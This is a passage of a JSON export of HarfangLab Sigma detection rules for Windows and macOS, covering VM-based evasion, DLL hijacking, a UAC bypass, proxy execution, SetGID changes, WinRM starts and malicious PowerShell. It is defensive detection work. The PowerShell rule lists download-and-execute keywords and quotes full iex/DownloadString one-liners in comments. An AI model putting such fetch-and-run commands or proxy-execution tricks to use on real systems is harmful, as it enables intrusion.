+  "name": "t1564_006_susp_virtualbox_headless_windows.yml",
+  "content": "title: VirtualBox Virtual Machine Started via VBoxHeadless\nid: 47690f63-b849-4fc7-acbe-86446b0f9903\ndescription: |\n    Detects the usage of VboxHeadless.exe to start a VM.\n    Adversaries may deploy virtual machines to conduct malicious behavior and evade defenses.\n    It is recommended to investigate process that spawned VBoxHeadless.exe, and check the legitimacy of the started virtual machine.\nreferences:\n    - https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/\n    - https://attack.mitre.org/techniques/T1564/006/\ndate: 2024/08/28\nmodified: 2025/01/08\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564.006\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Virtualization\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        Image|endswith: '\\VBoxHeadless.exe'\n\n    filter_vbox:\n        - ParentImage: '?:\\Program Files\\Oracle\\VirtualBox\\VBoxHeadless.exe'\n        - GrandparentImage: '?:\\Program Files\\Oracle\\VirtualBox\\VBoxHeadless.exe'\n        - ParentImage: '?:\\Program Files\\Oracle\\VirtualBox\\vboxsvc.exe'\n        - GrandparentImage: '?:\\Program Files\\Oracle\\VirtualBox\\vboxsvc.exe'\n\n    exclusion_ldplayer:\n        ProcessParentImage: '.:\\Program Files\\ldplayerbox\\LdVBoxSVC.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "47690f63-b849-4fc7-acbe-86446b0f9903",
+  "rule_name": "VirtualBox Virtual Machine Started via VBoxHeadless",
+  "rule_description": "Detects the usage of VboxHeadless.exe to start a VM.\nAdversaries may deploy virtual machines to conduct malicious behavior and evade defenses.\nIt is recommended to investigate process that spawned VBoxHeadless.exe, and check the legitimacy of the started virtual machine.\n",
+  "rule_creation_date": "2024-08-28",
+  "rule_modified_date": "2025-01-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4774d33e-c1c4-480b-85b4-d6487b4d5975",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090600Z",
+  "creation_date": "2026-03-23T11:45:34.090602Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090606Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_provtool.yml",
+  "content": "title: DLL Hijacking via provtool.exe\nid: 4774d33e-c1c4-480b-85b4-d6487b4d5975\ndescription: |\n    Detects potential Windows DLL Hijacking via provtool.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'provtool'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dmcommandlineutils.dll'\n            - '\\msvcp110_win.dll'\n            - '\\profapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4774d33e-c1c4-480b-85b4-d6487b4d5975",
+  "rule_name": "DLL Hijacking via provtool.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via provtool.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "478992a5-594c-4509-a88d-bc1d4286c9f3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073685Z",
+  "creation_date": "2026-03-23T11:45:34.073688Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073693Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_uac_bypass_taskhost.yml",
+  "content": "title: UAC Bypass Executed via taskhost\nid: 478992a5-594c-4509-a88d-bc1d4286c9f3\ndescription: |\n    Detects the execution of the taskhost.exe UAC bypass, involving the hijacking of the cryptbase.dll DLL.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the creation of the DLL as well as to analyze the DLL itself to look for malicious content or actions.\nreferences:\n    - https://github.com/hfiref0x/UACME\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2021/01/25\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.002\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image: '?:\\Windows\\taskhost.exe'\n        ImageLoaded|endswith: '\\cryptbase.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature|contains: 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "478992a5-594c-4509-a88d-bc1d4286c9f3",
+  "rule_name": "UAC Bypass Executed via taskhost",
+  "rule_description": "Detects the execution of the taskhost.exe UAC bypass, involving the hijacking of the cryptbase.dll DLL.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the creation of the DLL as well as to analyze the DLL itself to look for malicious content or actions.\n",
+  "rule_creation_date": "2021-01-25",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "47a08acb-8efd-42f4-a3cc-d3d5e2ef6352",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079270Z",
+  "creation_date": "2026-03-23T11:45:34.079272Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079276Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://web.archive.org/web/20221130181950/https://blog.huntresslabs.com/abusing-trusted-applications-a719219220f",
+    "https://github.com/op7ic/EDR-Testing-Script/blob/master/runtests.bat",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_wseclientsvc.yml",
+  "content": "title: Suspicious WseClientSvc.exe Execution\nid: 47a08acb-8efd-42f4-a3cc-d3d5e2ef6352\ndescription: |\n    Detects a suspicious execution of WseClientSvc.exe, possibly to proxy execution of malicious code.\n    This binary, which is digitally signed by Microsoft, can be used to proxy execution of other binaries.\n    Attackers may abuse it to bypass security restrictions.\n    It is recommended to analyze the process responsible for the execution of WseClientSvc.exe and to look for any subsequent malicious actions performed by child processes.\nreferences:\n    - https://web.archive.org/web/20221130181950/https://blog.huntresslabs.com/abusing-trusted-applications-a719219220f\n    - https://github.com/op7ic/EDR-Testing-Script/blob/master/runtests.bat\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/12/04\nmodified: 2025/08/25\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.WseClientSvc\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - OriginalFileName: 'WseClientSvc.exe'\n        - Image|endswith: '\\WseClientSvc.exe'\n\n    selection_cmd:\n        # WseClientSvc.exe pass_TestBin.exe calc.exe\n        # WseClientSvc.exe lovelymalware calc.weirdext\n        CommandLine|re: 'WseClientSvc\\.exe\\ .*\\ .*'\n\n    exclusion_windows_server_essentials:\n        CommandLine: '?:\\Program Files\\Windows Server\\Bin\\WseClientSvc.exe ?:\\Program Files\\Windows Server\\Bin\\SharedServiceHost.exe ?:\\Program Files\\Windows Server\\Bin\\HealthServiceConfig'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "47a08acb-8efd-42f4-a3cc-d3d5e2ef6352",
+  "rule_name": "Suspicious WseClientSvc.exe Execution",
+  "rule_description": "Detects a suspicious execution of WseClientSvc.exe, possibly to proxy execution of malicious code.\nThis binary, which is digitally signed by Microsoft, can be used to proxy execution of other binaries.\nAttackers may abuse it to bypass security restrictions.\nIt is recommended to analyze the process responsible for the execution of WseClientSvc.exe and to look for any subsequent malicious actions performed by child processes.\n",
+  "rule_creation_date": "2022-12-04",
+  "rule_modified_date": "2025-08-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "47ac6436-48f7-40f6-b73d-bb00d709a054",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618334Z",
+  "creation_date": "2026-03-23T11:45:34.618336Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618341Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001/T1548.001.md",
+    "https://attack.mitre.org/techniques/T1548/001/"
+  ],
+  "name": "t1548_001_setgid_macos.yml",
+  "content": "title: SetGID Access Flag Set\nid: 47ac6436-48f7-40f6-b73d-bb00d709a054\ndescription: |\n    Detects the SetGID bit being set on a file.\n    This could be used by an attacker to execute a file with a different (and potentially more privileged) user group context.\n    It is recommended to analyze the targeted binary as well as the process responsible for the setting change and look for privilege escalation and malicious binaries.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001/T1548.001.md\n    - https://attack.mitre.org/techniques/T1548/001/\ndate: 2024/09/17\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.001\n    - attack.defense_evasion\n    - attack.t1222.002\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.DefenseEvasion\n    - classification.macOS.Behavior.PrivilegeEscalation\n    - classification.macOS.Behavior.SystemModification\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection:\n        Kind:\n            - chmod\n            - chmod2\n        PrettyMode: '?????S???'\n        ProcessImage|contains: '?'\n\n    exclusion_install:\n        Image: '/private/tmp/PKInstallSandbox.??????/Scripts/*'\n\n    exclusion_common_folders:\n        - ProcessParentImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n        - ProcessGrandparentImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "47ac6436-48f7-40f6-b73d-bb00d709a054",
+  "rule_name": "SetGID Access Flag Set",
+  "rule_description": "Detects the SetGID bit being set on a file.\nThis could be used by an attacker to execute a file with a different (and potentially more privileged) user group context.\nIt is recommended to analyze the targeted binary as well as the process responsible for the setting change and look for privilege escalation and malicious binaries.\n",
+  "rule_creation_date": "2024-09-17",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1222.002",
+    "attack.t1548.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "47e04561-373f-46ad-9771-6e2f2074a8e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083300Z",
+  "creation_date": "2026-03-23T11:45:34.083302Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083306Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management",
+    "https://learn.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.2",
+    "https://attack.mitre.org/techniques/T1021/006/"
+  ],
+  "name": "t1021_006_start_winrm_service.yml",
+  "content": "title: WinRM Service Started\nid: 47e04561-373f-46ad-9771-6e2f2074a8e5\ndescription: |\n    Detects the manual launch of the Windows Remote Management (WinRM) service via the net1.exe binary.\n    Windows Remote Management is a common Windows service that is used to interact with a remote system and is used, in particular, by PowerShell Remoting.\n    This can be used by an attacker to move laterally within an organisation.\n    It is recommended to investigate any authentications following this alert to determine if this action is legitimate.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management\n    - https://learn.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.2\n    - https://attack.mitre.org/techniques/T1021/006/\ndate: 2022/11/04\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.006\n    - attack.execution\n    - attack.t1569.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_1:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n    selection_2:\n        CommandLine|contains|all:\n            - ' start '\n            - ' winrm'\n\n    condition: all of selection_*\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "47e04561-373f-46ad-9771-6e2f2074a8e5",
+  "rule_name": "WinRM Service Started",
+  "rule_description": "Detects the manual launch of the Windows Remote Management (WinRM) service via the net1.exe binary.\nWindows Remote Management is a common Windows service that is used to interact with a remote system and is used, in particular, by PowerShell Remoting.\nThis can be used by an attacker to move laterally within an organisation.\nIt is recommended to investigate any authentications following this alert to determine if this action is legitimate.\n",
+  "rule_creation_date": "2022-11-04",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.006",
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "481011ca-b57e-4e3c-9c28-45b01b5589dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091327Z",
+  "creation_date": "2026-03-23T11:45:34.091329Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091334Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/yellow-cockatoo/",
+    "https://redcanary.com/threat-detection-report/techniques/powershell/",
+    "https://twitter.com/Alh4zr3d/status/1566489367232651264",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_exec_potential_malicious_script.yml",
+  "content": "title: Possible Execution of a Malicious PowerShell Script\nid: 481011ca-b57e-4e3c-9c28-45b01b5589dd\ndescription: |\n    Detects suspicious patterns in PowerShell scripts that can indicate the execution of malicicious code.\n    There is functionality in PowerShell scripts that are commonly abused by attackers, such as downloading data (payloads) and executing subsequent PowerShell code from an obfuscated first stage.\n    It is recommended to read the PowerShell script as to determine its intent. If the PowerShell script is benign, it is highly recommended to whitelist the script as to avoid false positives.\nreferences:\n    - https://redcanary.com/blog/yellow-cockatoo/\n    - https://redcanary.com/threat-detection-report/techniques/powershell/\n    - https://twitter.com/Alh4zr3d/status/1566489367232651264\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2021/06/25\nmodified: 2025/05/27\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    exec:\n        PowershellCommand|contains:\n            - 'Invoke-Expression'\n            - ' iex '\n            - ' iex('\n            - ' iex ('\n            - ' iex;'\n            - ' iex\"'\n            - ' iex'''\n            - '(iex '\n            - '(iex('\n            - '(iex ('\n            - '(iex;'\n            - '(iex\"'\n            - '(iex'''\n            - ';iex '\n            - ';iex('\n            - ';iex ('\n            - ';iex;'\n            - ';iex\"'\n            - ';iex'''\n            - '\"iex '\n            - '\"iex('\n            - '\"iex ('\n            - '\"iex;'\n            - '\"iex\"'\n            - '\"iex'''\n            - '''iex '\n            - '''iex('\n            - '''iex ('\n            - '''iex;'\n            - '''iex\"'\n            - '''iex'''\n            - '|iex'\n\n    download:\n        PowershellCommand|contains:\n            - 'DownloadFile'\n            - 'DownloadData'\n            - 'DownloadString'\n            - 'DeflateStream'\n            - 'FromBase64String'\n            - 'Invoke-WebRequest'\n\n            # Invoke-WebRequest has an alias: iwr\n            - ' iwr '\n            - ' iwr('\n            - ' iwr;'\n            - ' iwr\"'\n            - ' iwr'''\n            - '(iwr '\n            - '(iwr('\n            - '(iwr;'\n            - '(iwr\"'\n            - '(iwr'''\n            - ';iwr '\n            - ';iwr('\n            - ';iwr;'\n            - ';iwr\"'\n            - ';iwr'''\n            - '\"iwr '\n            - '\"iwr('\n            - '\"iwr;'\n            - '\"iwr\"'\n            - '\"iwr'''\n            - '''iwr '\n            - '''iwr('\n            - '''iwr;'\n            - '''iwr\"'\n            - '''iwr'''\n\n    nslookup:\n        PowershellCommand|contains|all:\n            - 'nslookup'\n            - '=txt'\n            - '[-1]'\n\n    exclusion_microsoft_signed:\n        Signed: 'true'\n        SignatureStatus: 'Valid'\n        Signature: 'Microsoft Corporation'\n\n    exclusion_modules:\n        PowershellScriptPath|startswith:\n            - '?:\\Program Files\\WindowsPowerShell\\Modules\\'\n            - '?:\\program files\\powershell\\7\\Modules\\'\n\n    assembly_load:\n        PowershellCommand|contains: 'CurrentDomain.Load'\n\n    # matches on something being compressed (gzip / deflate) and base64 encoded\n    # and decompressed dynamically\n    decompress_payload:\n        PowershellCommand|contains:\n            - 'DeflateStream'\n            - 'GzipStream'\n\n        PowershellCommand|contains|all:\n            - '::FromBase64String'\n            - '::Decompress'\n\n    exclusion_chocolatey:\n        PowershellCommand|contains: 'https://chocolatey.org/install.ps1'\n        ProcessParentImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_chocolatey_community:\n        # Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))\n        # C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command [System.Net.ServicePointManager]::SecurityProtocol = 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))\n        # powershell Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))\n        PowershellCommand|contains|all:\n            - 'chocolatey.org/install.ps1'\n            - 'DownloadString'\n            - '::SecurityProtocol'\n            - ' 3072'\n\n    exclusion_chocolatey_upgrade:\n        PowershellCommand|contains|all:\n            - 'https://chocolatey.org/install.ps1'\n            - '; choco upgrade -y'\n            - '; Read-Host'\n            - 'Type ENTER to exit'\n\n    exclusion_microsoft_monitoring_agent:\n        ProcessCommandLine: '?:\\Windows\\system32\\windowspowershell\\v1.0\\powershell.exe -NoLogo -Command ? ??:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Monitoring Host Temporary Files *\\LogEndToEndEvent.ps1?'\n\n    exclusion_microsoft_system_center:\n        ProcessImage: '?:\\Program Files\\Microsoft System Center\\Operations Manager\\Server\\MonitoringHost.exe'\n\n    exclusion_powershell_utility:\n        PowershellCommand|contains|all:\n            - 'GUID=\"1DA87E53-152B-403E-98DC-74D7B4D63D59\"'\n            - 'Author=\"Microsoft Corporation\"'\n            - 'CmdletsToExport= \"Format-List\", \"Format-Custom\", \"Format-Table\", \"Format-Wide\",'\n            - 'NestedModules=\"Microsoft.PowerShell.Commands.Utility.dll\",\"Microsoft.PowerShell.Utility.psm1\"'\n\n    exclusion_ms_atp:\n        PowershellScriptPath: '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads\\PSScript_*.ps1'\n\n    exclusion_azure_ad_connect_health_adfs_agent:\n        PowershellCommand|contains|all:\n            - 'http://nist.time.gov/actualtime.cgi'\n            - '$currentRtsTimeUtc = (New-Object -TypeName DateTime -ArgumentList (1970, 1, 1)).AddMilliseconds(([Xml]$request.Content).timestamp.time / 1000);'\n            - 'Test-AdfsServerHealth'\n\n    exclusion_poshssh:\n        PowershellCommand|contains|all:\n            - 'function Get-PoshSSHModVersion'\n            - '$installed = (Get-Module -Name ?posh-SSH?).Version'\n            - 'https://raw.github.com/darkoperator/Posh-SSH/master/'\n            - '/Posh-SSH.psd1'\n            - 'Write-Error ?Unable to locate Posh-SSH.?'\n\n    # 